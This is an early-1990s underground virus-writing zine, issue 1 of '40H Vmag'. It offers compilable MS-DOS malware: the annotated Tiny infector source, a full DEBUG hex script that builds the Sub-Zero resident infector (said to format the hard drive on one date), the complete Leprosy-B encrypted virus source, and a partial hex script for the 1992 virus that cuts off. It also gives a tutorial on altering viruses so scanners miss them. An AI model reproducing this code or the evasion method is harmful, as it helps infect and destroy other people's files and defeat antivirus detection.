40H Vmag Issue 1 Volume 1
Introduction -
This is a down and dirty zine on wich gives examples on writing viruses
and this magazines contains code that can be compiled to viruses.
If you are an anti-virus pussy, who is just scared that your hard disk will
get erased so you have a psycological problem with viruses, erase these
files. This aint for you.
INDEX
001...........................Virus Spotlight, The Tiny virus
002...........................How to modify viruses to avoid SCAN
003...........................Sub-Zero virus
004...........................Simple encryption techniques and Leprosy-B
005...........................1992 virus
Staff -
Editior, Technical Consultant - Hellraiser
Co-Editor, Theory Consultant - Bionic Slasher
40H Vmag Issue 1 Volume 1 00001
- VIRUS SPOTLIGHT -
The first virus I would like to spotlight is the Tiny virus, lets see
what our good friend Patti Hoffman (bitch) has written about it.
Name: Tiny
Aliases: 163 COM Virus, Tiny 163 Virus, Kennedy-163
V Status: Rare
Discovery: June, 1990
Symptoms: COMMAND.COM & .COM file growth
Origin: Denmark
Eff Length: 163 Bytes
Type Code: PNCK - Parasitic Non-Resident .COM Infector
Detection Method: ViruScan V64+, VirexPC, F-Prot 1.12+, NAV, IBM Scan 2.00+
Removal Instructions: Scan/D, F-Prot 1.12+, or Delete infected
files
General Comments:
The 163 COM Virus, or Tiny Virus, was isolated by Fridrik Skulason
of Iceland in June 1990. This virus is a non-resident generic
.COM file infector, and it will infect COMMAND.COM.
The first time a file infected with the 163 COM Virus is executed,
the virus will attempt to infect the first .COM file in the
current directory. On bootable diskettes, this file will normally
be COMMAND.COM. After the first .COM file is infected,each time
an infected program is executed another .COM file will attempt to
be infected. Files are infected only if their original length is
greater than approximately 1K bytes.
Infected .COM files will increase in length by 163 bytes, and have
date/time stamps in the directory changed to the date/time the
infection occurred. Infected files will also always end with this
hex string: '2A2E434F4D00'.
This virus currently does nothing but replicate, and is the
smallest MS-DOS virus known as of its isolation date.
The Tiny Virus may or may not be related to the Tiny Family.
^like she'd know the difference!
OK, Theres the run down on the smallest MS-DOS virus known to man. As for
it being detected by SCAN we'll see about that.
Here is a dissasembly of the virus, It can be assembled under Turbo Assembler
or MASM.
-----------------------------------------------------------------------------
PAGE 59,132
data_2e equ 1ABh ;start of virus
seg_a segment byte public ;
assume cs:seg_a, ds:seg_a ;assume cs, ds - code
org 100h ;orgin of all COM files
s proc far
start:
jmp loc_1 ;jump to virus
;this is a replacement for an infected file
db 0CDh, 20h, 7, 8, 9 ;int 20h
;pop es
loc_1:
call sub_1 ;
s endp
sub_1 proc near ;
pop si ;locate all virus code via
sub si,10Bh ;si, cause all offsets will
mov bp,data_1[si] ;change when virus infects
add bp,103h ;a COM file
lea dx,[si+1A2h] ;offset of '*.COM',0 - via SI
xor cx,cx ;clear cx - find only normal
;attributes
mov ah,4Eh ;find first file
loc_2:
int 21h ;
jc loc_6 ;no files found? then quit
mov dx,9Eh ;offset of filename found
mov ax,3D02h ;open file for read/write access
int 21h ;
mov bx,ax ;save handle into bx
mov ah,3Fh ;read from file
lea dx,[si+1A8h] ;offset of save buffer
mov di,dx ;
mov cx,3 ;read three bytes
int 21h ;
cmp byte ptr [di],0E9h ;compare buffer to virus id
;string
je loc_4 ;
loc_3:
mov ah,4Fh ;find the next file
jmp short loc_2 ;and test it
loc_4:
mov dx,[di+1] ;lsh of offset
mov data_1[si],dx ;
xor cx,cx ;msh of offset
mov ax,4200h ;set the file pointer
int 21h ;
mov dx,di ;buffer to save read
mov cx,2 ;read two bytes
mov ah,3Fh ;read from file
int 21h ;
cmp word ptr [di],807h ;compare buffer to virus id
je loc_3 ;same? then find another file
;heres where we infect a file
xor dx,dx ;set file pointer
xor cx,cx ;ditto
mov ax,4202h ;set file pointer
int 21h ;
cmp dx,0 ;returns msh
jne loc_3 ;not the same? find another file
cmp ah,0FEh ;lsh = 254???
jae loc_3 ;if more or equal find another file
mov ds:data_2e[si],ax ;point to data
mov ah,40h ;write to file
lea dx,[si+105h] ;segment:offset of write buffer
mov cx,0A3h ;write 163 bytes
int 21h ;
jc loc_5 ;error? then quit
mov ax,4200h ;set file pointer
xor cx,cx ;to the top of the file
mov dx,1 ;
int 21h ;
mov ah,40h ;write to file
lea dx,[si+1ABh] ;offset of jump to virus code
mov cx,2 ;two bytes
int 21h ;
;now close the file
loc_5:
mov ah,3Eh ;close file
int 21h ;
loc_6:
jmp bp ;jump to original file
data_1 dw 0 ;
db '*.COM',0 ;wild card search string
sub_1 endp
seg_a ends
end start
-----------------------------------------------------------------------------
Its good to start off with a simple example like this. As you can see
what the virus does is use the DOS 4Eh function to find the firsy COM file
in the directory. If no files are found the program exits. If a file is
found it compares the virus id string (the virus jump instruction) to the
first two bytes of the COM file. If they match the program terminates.
If they don't match the virus will infect the file. Using two key MS-DOS
functions to infect.
The first -
INT 21h Function 42h
SET FILE POINTER
AH = 42h
AL = method code
BX = file handle
CX = most significant half to offset
DX = least " "
If there is an error in executing this function the carry flag will be set,
and AX will contian the error code. If no error is encountered
DX = most significant half of file pointer
AX = least " "
The second (and most) important function used by any virus is
INT 21h Function 40h
WRITE TO FILE OR DEVICE
AH = 40h
BX = handle
CX = number of bytes to write
DS:DX = segment of buffer
Returns
AX = bytes transferred
on error
AX = Error Code and flag is set.
An example of Function 40h is ----
mov ah,40h ;set function
mov bx,handle ;load bx with handle from prev open
mov cx,virus_size ;load cx with # of bytes to write
mov dx,offset write_buffer ;load dx with the offset of what to
;write to file
int 21h ;
This function is used by 98% of all MS-DOS viruses to copy itself to a
victim file.
Now heres a sample project - create a new strain of Tiny, have it restore
the original date and time etc...
HR
40H Vmag Issue 1 Volume 1 00002
- HOW TO MODIFY A VIRUS SO SCAN WON'T CATCH IT -
OR
HOW TO CREATE NEW VIRUS STRAINS
The problem with most viruses is that this dickhead who lives in California
named John Mcafee gets his greedy hands on them and turns them into big
bucks -- for him. John boy is the reason there are over 500 viruses out
there, and I wouldn't doubt if he weren't resposible for writing at least
ten of them.
So the best thing to do to some Mcafee dependant sucker, or lame board is
this.
Say you have a copy of a played out virus, lets say an older one like
Armstand or Jerusalem. Almost every virus scanner can detect these
viruses cause they been around so long. Now heres a quick way to modify
viruses so the scanners wont catch them, in turn making them new strains.
The tools you need are --
Norton Utilites
Debug and/or
Turbo Debugger by Borland
Now heres what you do.
Step A
------
Make a target file like this with Debug
Copy the below file with your editor to a file called SAMPLE.USR
-------------------------------------------------------------------------------
n sample.com
a
int 20
rcx
2
w
q
------------------------------------------------------------------------------
Then uses Debug to make the file SAMPLE.COM executing this command --
DEBUG < SAMPLE.USR
This will make a two byte called SAMPLE.COM
STEP B
------
Infect the file with the virus. If this is a boot sector virus your on
your own. Do whatever you have to to infect the two byte file.
Make a copy of the file and keep it for safe keeping.
STEP C
------
Load up DISKEDIT, which comes with Norton 6.0 (I'm not sure if its in the
lower versions) PCTOOLS Hex Editor will work too but it takes more work.
Now have DISKEDIT Hex-edit the infected file.
Now figure out where the middle of the file is. Next put block on and
go to the end of the file. At the end of the file go to the edit screen and
select fill. Fill the lower half of the file will nonsense characters, its
good to select 255d (FFh) the blank character.
Now save your changes and go to DOS
Now use SCAN to scan the file for viruses. If it detects the virus you
didnt delete the search string that SCAN is searching for. Get it???
You see all SCAN does is search files for strings that are related to viruses.
For example if SCAN was looking for CASCADE it look for something like this-
EB1DAD1273D1FF121F
In every file you specify. So what we are doing is narrowing down where that
string is in the virus that SCAN keeps finding.
So what you have to do is keep deleting parts of the virus with DISKEDIT
untill you finally narrow down the string.
Keep this in mind, search strings are in the first 150 bytes of the file
about 75% of the time.
Ok lets say you narrowed down the search string and lets say it's -
B8 92 19 B7 21 CD
It will most likly be longer but this an example.
Now back to DEBUG - Do the following--
DEBUG
E 0100 b8 92 19 b7 21 cd -- this is the string you found
Then type --
U
This will give you a unassembled look at what the id-string is. In this
example it was
mov ax,1992h
mov bx,21h
int 21h
Now this is what you have to do, and keep in mind the following ---
THE FOLLOWING TAKES A SOMEWHAT KNOWING OF ASSEMBLER AND HOW IT WORKS!!!!!!
Uses Turbo Debugger to find the string, you can use DEBUG but I don't know
how to do this from debug.
Ok say you got the string on the screen --
mov ax,1992h
mov bh,21h
int 21h
Write down the locations in the file where these strings are. Ex 0100h etc..
Now rearrange the AX mov with the BX mov like this ---
mov bh,21h
mov ax,1992h
int 21h
You see? You didn't change the way the code functions (THATS IF YOU KNOW
WHAT YOUR DOING!) but you changed the codes id-string for SCAN.
Now since Turbo Debugger dosent let you save the changes you must do it
via - Debug.
DEBUG virus.com
a 0122 - This is the address of the string
Now enter the assembler instructions --
mov bh,21
mov ax,1992h
int 21h
w
q
Save it and SCAN it, if SCAN doesn't catch it Congrats. If it does ---
back to the lab. Oh well you get the point.
One warning, this only works with un-encrypting viruses, or on the
encryption mechanism of encrypting files (which will most likely be Scanned).
With that in mind, have fun.
HR
40H Vmag Issue 1 Volume 1 00003
- SUB-ZERO VIRUS -
Heres one for all of you who don't have an assembler. It can be
compiled using debug by naming the insert below SUB-ZERO.USR and
executing the command -
DEBUG < SUB-ZERO.USR
------------------------------------------------------------------------------
n sub-zero.com
e 0100 E9 92 00 DA AA A3 AA D4 3A A3 00 01 23 31 00 00
e 0110 00 02 00 04 01 64 30 A0 06 55 2E 56 05 9F 19 A5
e 0120 3E 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
e 0130 0E 97 30 80 00 00 00 80 00 97 30 5C 00 97 30 6C
e 0140 00 97 30 00 40 46 63 F4 1D D0 5C 00 00 46 00 4D
e 0150 5A A0 01 39 00 B4 02 AF 00 7C 04 7C A4 FA 05 10
e 0160 07 84 19 C5 00 FA 05 1C 00 00 00 00 00 00 00 00
e 0170 05 00 20 00 21 00 28 02 00 02 10 00 90 6A 00 00
e 0180 B9 41 2A 97 4C 4F 52 44 20 53 4B 49 53 4D 20 01
e 0190 00 00 00 00 00 FC B4 E0 CD 21 3D 00 E0 73 16 80
e 01A0 FC 03 72 11 BF 00 01 B4 DD BE 10 07 03 F7 2E 8B
e 01B0 8D 11 00 CD 21 8C C8 04 10 00 8E D0 BC 00 07 50
e 01C0 B8 C5 00 50 CB 06 FC 2E 8C 06 31 00 2E 8C 06 39
e 01D0 00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10 00
e 01E0 2E 01 06 49 00 2E 01 06 45 00 B4 E0 CD 21 80 FC
e 01F0 E0 73 13 80 FC 03 07 2E 8E 16 45 00 2E 8B 26 43
e 0200 00 2E FF 2E 47 00 33 C0 8E C0 8B 89 31 DB 2E A3
e 0210 4B 00 26 A0 FE 03 2E A2 4D 00 26 C7 06 FC 03 F3
e 0220 A5 26 C6 06 FE 03 CB 58 04 10 90 8E C0 0E 1F B9
e 0230 00 03 B1 88 33 F6 8B FE 06 B8 42 01 50 EA FC 03
e 0240 00 00 8C C8 8E D0 BC 00 07 33 C0 8E D8 2E A1 4B
e 0250 00 A3 FC 03 2E A0 4D 00 A2 FE 03 8B DC B1 04 D3
e 0260 EB 83 C3 10 2E 89 1E 33 00 B4 4A 2E 8E 06 31 00
e 0270 CD 21 B8 21 35 CD 21 2E 89 1E 17 00 2E 8C 06 19
e 0280 00 0E 1F BA 5B 02 B8 21 25 CD 21 8E 06 31 00 26
e 0290 8E 06 2C 00 33 FF B9 FF 7F 32 C0 F2 AE 26 38 05
e 02A0 E0 F9 8B D7 83 C2 03 B8 00 4B 06 1F 0E 07 BB 35
e 02B0 00 52 51 53 50 06 1E B4 2A CD 21 2E C6 06 0E 00
e 02C0 00 81 F9 C6 07 74 30 3C 05 75 0D 80 FA 17 72 08
e 02D0 2E FE 06 0E 00 EB 20 90 B8 08 35 CD 21 2E 89 1E
e 02E0 13 00 2E 8C 06 15 00 0E 1F C7 06 1F 00 48 3F B8
e 02F0 08 25 BA 1E 02 CD 21 1F 07 58 5B 59 5A 9C 2E FF
e 0300 1E 17 00 1E 07 B4 49 CD 21 B4 4D CD 21 B4 31 BA
e 0310 00 06 B1 04 D3 EA 83 C2 10 CD 21 32 C0 CF 2E 83
e 0320 3E 1F 00 09 75 17 52 51 50 B4 2A CD 21 81 FA 06
e 0330 06 75 07 B8 01 07 B2 80 CD 13 58 59 5A 2E 83 2E
e 0340 1F 00 01 EB 11 20 20 53 75 62 2D 5A 65 72 6F 20
e 0350 4E 59 48 43 20 20 2E FF 2E 13 00 9C 80 FC E0 75
e 0360 05 B8 00 03 9D CF 80 FC DE 74 2D 80 FC DD 74 0E
e 0370 3D 00 4B 75 03 E9 B4 00 9D 2E FF 2E 17 00 58 58
e 0380 B8 00 01 2E A3 0A 00 58 2E A3 0C 00 F3 A4 9D 2E
e 0390 A1 0F 00 2E FF 2E 0A 00 83 C4 06 9D 8C C8 8E D0
e 03A0 BC 10 07 06 06 33 FF 0E 07 B9 10 00 8B F3 BF 21
e 03B0 00 F3 A4 8C D8 8E C0 2E F7 26 7A 00 2E 03 06 2B
e 03C0 00 83 D2 00 2E F7 36 7A 00 8E D8 8B F2 8B FA 8C
e 03D0 C5 2E 8B 1E 2F 00 0B DB 74 13 B9 00 80 F3 A5 05
e 03E0 00 10 81 C5 00 10 8E D8 8E C5 4B 75 ED 2E 8B 0E
e 03F0 2D 00 F3 A4 58 50 05 10 00 2E 01 06 29 00 2E 01
e 0400 06 25 00 2E A1 21 00 1F 07 2E 8E 16 29 00 2E 8B
e 0410 26 27 00 2E FF 2E 23 00 33 C9 B8 01 43 CD 21 B4
e 0420 3C CD 21 B8 00 4B 9D 2E FF 2E 17 00 2E 80 3E 0E
e 0430 00 01 74 E4 2E C7 06 70 00 FF FF 2E C7 06 8F 00
e 0440 00 00 2E 89 16 80 00 2E 8C 1E 82 00 50 53 51 52
e 0450 56 57 1E 06 FC 8B FA 32 D2 80 7D 01 3A 75 05 8A
e 0460 15 80 E2 1F B4 36 CD 21 3D FF FF 75 03 E9 77 02
e 0470 F7 E3 F7 E1 0B D2 75 05 3D 10 07 72 F0 2E 8B 16
e 0480 80 00 1E 07 32 C0 B9 41 00 F2 AE 2E 8B 36 80 00
e 0490 8A 04 0A C0 74 0E 3C 61 72 07 3C 7A 77 03 80 2C
e 04A0 20 46 EB EC B9 0B 00 2B F1 BF 84 00 0E 07 B9 0B
e 04B0 00 F3 A6 75 03 E9 2F 02 B8 00 43 CD 21 72 05 2E
e 04C0 89 0E 72 00 72 25 32 C0 2E A2 4E 00 1E 07 8B FA
e 04D0 B9 41 00 F2 AE 80 7D FE 4D 74 0B 80 7D FE 6D 74
e 04E0 05 2E FE 06 4E 00 B8 00 3D CD 21 72 5A 2E A3 70
e 04F0 00 8B D8 B8 02 42 B9 FF FF BA FB FF CD 21 72 EB
e 0500 05 05 00 2E A3 11 00 B9 05 00 BA 6B 00 8C C8 8E
e 0510 D8 8E C0 B4 3F CD 21 8B FA BE 05 00 F3 A6 75 07
e 0520 B4 3E CD 21 E9 C0 01 B8 24 35 CD 21 89 1E 1B 00
e 0530 8C 06 1D 00 BA 1B 02 B8 24 25 CD 21 C5 16 80 00
e 0540 33 C9 B8 01 43 CD 21 72 3B 2E 8B 1E 70 00 B4 3E
e 0550 CD 21 2E C7 06 70 00 FF FF B8 02 3D CD 21 72 24
e 0560 2E A3 70 00 8C C8 8E D8 8E C0 8B 1E 70 00 B8 00
e 0570 57 CD 21 89 16 74 00 89 0E 76 00 B8 00 42 33 C9
e 0580 8B D1 CD 21 72 3D 80 3E 4E 00 00 74 03 EB 57 90
e 0590 BB 00 10 B4 48 CD 21 73 0B B4 3E 8B 1E 70 00 CD
e 05A0 21 E9 43 01 FF 06 8F 00 8E C0 33 F6 8B FE B9 10
e 05B0 07 F3 A4 8B D7 8B 0E 11 00 8B 1E 70 00 06 1F B4
e 05C0 3F CD 21 72 1C 03 F9 33 C9 8B D1 B8 00 42 CD 21
e 05D0 BE 05 00 B9 05 00 F3 2E A4 8B CF 33 D2 B4 40 CD
e 05E0 21 72 0D E9 BC 00 B9 1C 00 BA 4F 00 B4 3F CD 21
e 05F0 72 4A C7 06 61 00 84 19 A1 5D 00 A3 45 00 A1 5F
e 0600 00 A3 43 00 A1 63 00 A3 47 00 A1 65 00 A3 49 00
e 0610 A1 53 00 83 3E 51 00 00 74 01 48 F7 26 78 00 03
e 0620 06 51 00 83 D2 00 05 0F 00 83 D2 00 25 F0 FF A3
e 0630 7C 00 89 16 7E 00 05 10 07 83 D2 00 72 3A F7 36
e 0640 78 00 0B D2 74 01 40 A3 53 00 89 16 51 00 A1 7C
e 0650 00 8B 16 7E 00 F7 36 7A 00 2B 06 57 00 A3 65 00
e 0660 C7 06 63 00 C5 00 A3 5D 00 C7 06 5F 00 10 07 33
e 0670 C9 8B D1 B8 00 42 CD 21 72 0A B9 1C 00 BA 4F 00
e 0680 B4 40 CD 21 72 11 3B C1 75 18 8B 16 7C 00 8B 0E
e 0690 7E 00 B8 00 42 CD 21 72 09 33 D2 B9 10 07 B4 40
e 06A0 CD 21 2E 83 3E 8F 00 00 74 04 B4 49 CD 21 2E 83
e 06B0 3E 70 00 FF 74 31 2E 8B 1E 70 00 2E 8B 16 74 00
e 06C0 2E 8B 0E 76 00 B8 01 57 CD 21 B4 3E CD 21 2E C5
e 06D0 16 80 00 2E 8B 0E 72 00 B8 01 43 CD 21 2E C5 16
e 06E0 1B 00 B8 24 25 CD 21 07 1F 5F 5E 5A 59 5B 58 9D
e 06F0 2E FF 2E 17 00 00 00 00 00 00 00 00 00 00 00 00
e 0700 4D 9F 19 00 10 00 00 00 45 44 00 45 4C 00 00 00
e 0710 E9 92 00 DA AA A3 AA D4 3A A3 00 01 23 31 00 00
e 0720 00 02 00 04 01 64 30 A0 06 55 2E 56 05 9F 19 A5
e 0730 3E 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
e 0740 0E 97 30 80 00 00 00 80 00 97 30 5C 00 97 30 6C
e 0750 00 97 30 00 40 46 63 F4 1D D0 5C 00 00 46 00 4D
e 0760 5A A0 01 39 00 B4 02 AF 00 7C 04 7C A4 FA 05 10
e 0770 07 84 19 C5 00 FA 05 1C 00 00 00 00 00 00 00 00
e 0780 05 00 20 00 21 00 28 02 00 02 10 00 90 6A 00 00
e 0790 B9 41 2A 97 4C 4F 52 44 20 53 4B 49 53 4D 20 01
e 07A0 00 00 00 00 00 FC B4 E0 CD 21 3D 00 E0 73 16 80
e 07B0 FC 03 72 11 BF 00 01 B4 DD BE 10 07 03 F7 2E 8B
e 07C0 8D 11 00 CD 21 8C C8 04 10 00 8E D0 BC 00 07 50
e 07D0 B8 C5 00 50 CB 06 FC 2E 8C 06 31 00 2E 8C 06 39
e 07E0 00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10 00
e 07F0 2E 01 06 49 00 2E 01 06 45 00 B4 E0 CD 21 80 FC
e 0800 E0 73 13 80 FC 03 07 2E 8E 16 45 00 2E 8B 26 43
e 0810 CD 20 A3 AA D4 3A A3 1A 1A 1A 1A 1A 1A 1A 1A 1A
rcx
717
w
q
------------------------------------------------------------------------------
Sub-Zero is a memory resident COM and EXE infector that is based somewhat on
on Jerusalem-B. It is the ansestor to the virus Captian Trips
which at this time has not been nailed by SCAN.
Be carefull because this virus will most likly format you hard drive if you
run it on the wrong day. One day of the year it will perform a HD format.
I think it's in June, hmmmm... D-Day rings a bell.
As of Scan-77 this virus can not be detected by SCAN or F-Prot.
HR
40H Vmag Issue 1 Volume 1 00004
- SIMPLE ENCRYPTION METHODS -
Encryption is perhaps one of the key parts of writing a virus. If you
have a virus that prints a message to the screen, you don't want infected
files to contain that message.
One easy way to encrypt data is the XOR method. XOR is a matamatical
function that can be used to cifer and decifer data with the same key.
Example --
FF xor A1 = 5E
byte to encrypt^ ^key ^result
and likewise
5E xor A1 = FF
So as you can see an easy way to encrypt/decrypt sensitve data is with the
XOR function.
A popular virus that demonstrates this teqnique is Leprosy-B. By studing the
below example you are on the way to make simple encrypted viruses.
------------------------------------------------------------------------------
; - Leprosy-B Virus Source
; Copy-ya-right (c) 1990 by PCM2.
;
; This file is the source code to the Leprosy-B virus. It should
; be assembled with an MASM-compatible assembler; it has been tested
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
; It should be made into a .COM file before executing, with either
; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
;
; This program has the potential to permanently destroy executable
; images on any disk medium. Other modifications may have been made
; subsequent to the original release by the author, either benign,
; or which could result in further harm should this program be run.
; In any case, the author assumes no responsibility for any damage
; caused by this program, incidental or otherwise. As a precaution,
; this program should not be turned over to irresponsible hands...
; (unlike people like us, that is).
title "Leprosy-B Virus by PCM2, August 1990"
cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
virus_size equ 666 ; Size of the virus file
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of default disk transfer area
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute
code segment 'code' ; Open code segment
assume cs:code,ds:code ; One segment for both code & data
org code_start ; Start code image after PSP
;---------------------------------------------------------------------
; All executable code is contained in boundaries of procedure "main".
; The following code, until the start of "virus_code", is the non-
; encrypted CMT portion of the code to load up the real program.
;---------------------------------------------------------------------
main proc near ; Code execution begins here
call encrypt_decrypt ; Decrypt the real virus code
jmp random_mutation ; Put the virus into action
encrypt_val db 00h ; Hold value to encrypt by here
; ---------- Encrypt, save, and restore the virus code -----------
infect_file:
mov bx,handle ; Get the handle
push bx ; Save it on the stack
call encrypt_decrypt ; Encrypt most of the code
pop bx ; Get back the handle
mov cx,virus_size ; Total number of bytes to write
mov dx,code_start ; Buffer where code starts in memory
mov ah,40h ; DOS write-to-handle service
int 21h ; Write the virus code into the file
call encrypt_decrypt ; Restore the code as it was
ret ; Go back to where you came from
; --------------- Encrypt or decrypt the virus code ----------------
encrypt_decrypt:
mov bx,offset virus_code ; Get address to start encrypt/decrypt
xor_loop: ; Start cycle here
mov ah,[bx] ; Get the current byte
xor ah,encrypt_val ; Engage/disengage XOR scheme on it
mov [bx],ah ; Put it back where we got it
inc bx ; Move BX ahead a byte
cmp bx,offset virus_code+virus_size ; Are we at the end?
jle xor_loop ; If not, do another cycle
ret ; and go back where we came from
;-----------------------------------------------------------------------
; The rest of the code from here on remains encrypted until run-time,
; using a fundamental XOR technique that changes via CMT.
;-----------------------------------------------------------------------
virus_code:
;----------------------------------------------------------------------------
; All strings are kept here in the file, and automatically encrypted.
; Please don't be a lamer and change the strings and say you wrote a virus.
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
; changes, even when the strings stay the same.
;----------------------------------------------------------------------------
exe_filespec db "*.EXE",0
com_filespec db "*.COM",0
newdir db "..",0
fake_msg db cr,lf,"Program too big to fit in memory$"
virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
compare_buf db 20 dup (?) ; Buffer to compare files in
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?
random_mutation: ; First decide if virus is to mutate
mov ah,2ch ; Set up DOS function to get time
int 21h
cmp encrypt_val,0 ; Is this a first-run virus copy?
je install_val ; If so, install whatever you get.
cmp dh,15 ; Is it less than 16 seconds?
jg find_extension ; If not, don't mutate this time
install_val:
cmp dl,0 ; Will we be encrypting using zero?
je random_mutation ; If so, get a new value.
mov encrypt_val,dl ; Otherwise, save the new value
find_extension: ; Locate file w/ valid extension
mov files_found,0 ; Count infected files found
mov files_infected,4 ; BX counts file infected so far
mov success,0
find_exe:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset exe_filespec ; Check for .EXE extension first
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je find_com ; If not, nothing more to do
call find_healthy ; Otherwise, try to find healthy .EXE
find_com:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset com_filespec ; Check for .COM extension now
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je chdir ; If not, step back a directory
call find_healthy ; Otherwise, try to find healthy .COM
chdir: ; Routine to step back one level
mov dx,offset newdir ; Load DX with address of pathname
mov ah,3bh ; Change directory DOS service
int 21h
dec files_infected ; This counts as infecting a file
jnz find_exe ; If we're still rolling, find another
jmp exit_virus ; Otherwise let's pack it up
find_healthy:
mov bx,dta ; Point BX to address of DTA
mov ax,[bx]+attribute ; Get the current file's attribute
mov orig_attr,ax ; Save it
mov ax,[bx]+timestamp ; Get the current file's time stamp
mov orig_time,ax ; Save it
mov ax,[bx]+datestamp ; Get the current file's data stamp
mov orig_date,ax ; Save it
mov dx,dta+filename ; Get the filename to change attribute
mov cx,0 ; Clear all attribute bytes
mov al,1 ; Set attribute sub-function
mov ah,43h ; Call DOS service to do it
int 21h
mov al,2 ; Set up to open handle for read/write
mov ah,3dh ; Open file handle DOS service
int 21h
mov handle,ax ; Save the file handle
mov bx,ax ; Transfer the handle to BX for read
mov cx,20 ; Read in the top 20 bytes of file
mov dx,offset compare_buf ; Use the small buffer up top
mov ah,3fh ; DOS read-from-handle service
int 21h
mov bx,offset compare_buf ; Adjust the encryption value
mov ah,encrypt_val ; for accurate comparison
mov [bx+6],ah
mov si,code_start ; One array to compare is this file
mov di,offset compare_buf ; The other array is the buffer
mov ax,ds ; Transfer the DS register...
mov es,ax ; ...to the ES register
cld
repe cmpsb ; Compare the buffer to the virus
jne healthy ; If different, the file is healthy!
call close_file ; Close it up otherwise
inc files_found ; Chalk up another fucked up file
continue_search:
mov ah,4fh ; Find next DOS function
int 21h ; Try to find another same type file
cmp ax,12h ; Are there any more files?
je no_more_found ; If not, get outta here
jmp find_healthy ; If so, try the process on this one!
no_more_found:
ret ; Go back to where we came from
healthy:
mov bx,handle ; Get the file handle
mov ah,3eh ; Close it for now
int 21h
mov ah,3dh ; Open it again, to reset it
mov dx,dta+filename
mov al,2
int 21h
mov handle,ax ; Save the handle again
call infect_file ; Infect the healthy file
call close_file ; Close down this operation
inc success ; Indicate we did something this time
dec files_infected ; Scratch off another file on agenda
jz exit_virus ; If we're through, terminate
jmp continue_search ; Otherwise, try another
ret
close_file:
mov bx,handle ; Get the file handle off the stack
mov cx,orig_time ; Get the date stamp
mov dx,orig_date ; Get the time stamp
mov al,1 ; Set file date/time sub-service
mov ah,57h ; Get/Set file date and time service
int 21h ; Call DOS
mov bx,handle
mov ah,3eh ; Close handle DOS service
int 21h
mov cx,orig_attr ; Get the file's original attribute
mov al,1 ; Instruct DOS to put it back there
mov dx,dta+filename ; Feed it the filename
mov ah,43h ; Call DOS
int 21h
ret
exit_virus:
cmp files_found,6 ; Are at least 6 files infected?
jl print_fake ; If not, keep a low profile
cmp success,0 ; Did we infect anything?
jg print_fake ; If so, cover it up
mov ah,09h ; Use DOS print string service
mov dx,offset virus_msg1 ; Load the address of the first line
int 21h ; Print it
mov dx,offset virus_msg2 ; Load the second line
int 21h ; (etc)
mov dx,offset virus_msg3
int 21h
mov dx,offset virus_msg4
int 21h
jmp terminate
print_fake:
mov ah,09h ; Use DOS to print fake error message
mov dx,offset fake_msg
int 21h
terminate:
mov ah,4ch ; DOS terminate process function
int 21h ; Call DOS to get out of this program
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
main endp
code ends
end main
------------------------------------------------------------------------------
While the virus is no great wonder the simple encryption method is what is
used by almost all viruses.
HR
40H Vmag Issue 1 Volume 1 00005
- 1992 VIRUS -
Heres another for you virus fiends. Its been labled 1992, the latest in the
line of viruses brought to you by SKISM.
While the virus is no groundbreaker - the graphic display that is given by
the virus will go down in history as the first of it's kind.
Copy the below to a file called 1992.USR then execute --
DEBUG < 1992.USR
------------------------------------------------------------------------------
n 1992.com
e 0100 EB 02 90 02 E8 03 00 E9 E7 05 51 BB 38 01 8A 2F
e 0110 32 2E 03 01 88 2F 43 81 FB 00 09 7E F1 59 C3 BA
e 0120 00 01 8B 1E E5 06 53 E8 E0 FF 5B B9 C8 07 B4 40
e 0130 CD 21 53 E8 D4 FF 5B C3 0D 10 1B 00 08 B1 1B 04
e 0140 C1 18 22 C6 BD 1B 01 B1 1B 15 B1 1B 01 1A 1B 00
e 0150 C1 18 04 C6 DB 02 B3 B3 14 18 19 B3 10 DF 22 22
e 0160 08 B1 1B 01 C1 18 0C C6 C0 18 05 C6 C3 C6 BD 22
e 0170 22 1A 1B 00 B1 1B 06 02 B3 B3 14 18 1D B3 10 DF
e 0180 22 08 C2 C6 C6 C0 C6 DB 1B 0C B1 1B 0B B1 22 22
e 0190 1A 1B 00 B1 1B 01 02 B3 B3 14 18 23 B3 10 DF 1B
e 01A0 00 08 B1 1B 12 B1 1B 0B C2 C6 C6 1A 1B 00 B1 1B
e 01B0 00 02 B3 B3 14 18 21 B3 10 DF 22 13 1B 06 0B DC
e 01C0 10 22 13 22 DC 10 22 13 22 DC 10 22 13 22 DC 10
e 01D0 22 13 1B 06 DC 10 22 13 22 22 DC 10 22 22 13 22
e 01E0 22 DC 10 22 22 1A 1B 00 08 B1 22 22 02 B3 B3 14
e 01F0 18 0A B3 0D 18 1A B3 02 10 DF 14 B3 B3 B3 10 DF
e 0200 13 22 0B DC 02 10 18 06 B3 13 22 0B DC 22 DC 02
e 0210 10 B3 B3 13 22 0B DC 02 10 B3 13 22 0B DC 02 10
e 0220 18 06 B3 13 22 0B DC 22 DC 22 DC 22 DC 02 10 B3
e 0230 22 1A 1B 00 08 B1 22 22 02 B3 B3 14 18 05 B3 0D
e 0240 18 1B B3 02 10 DF 22 22 14 B3 10 DF 13 1B 06 0B
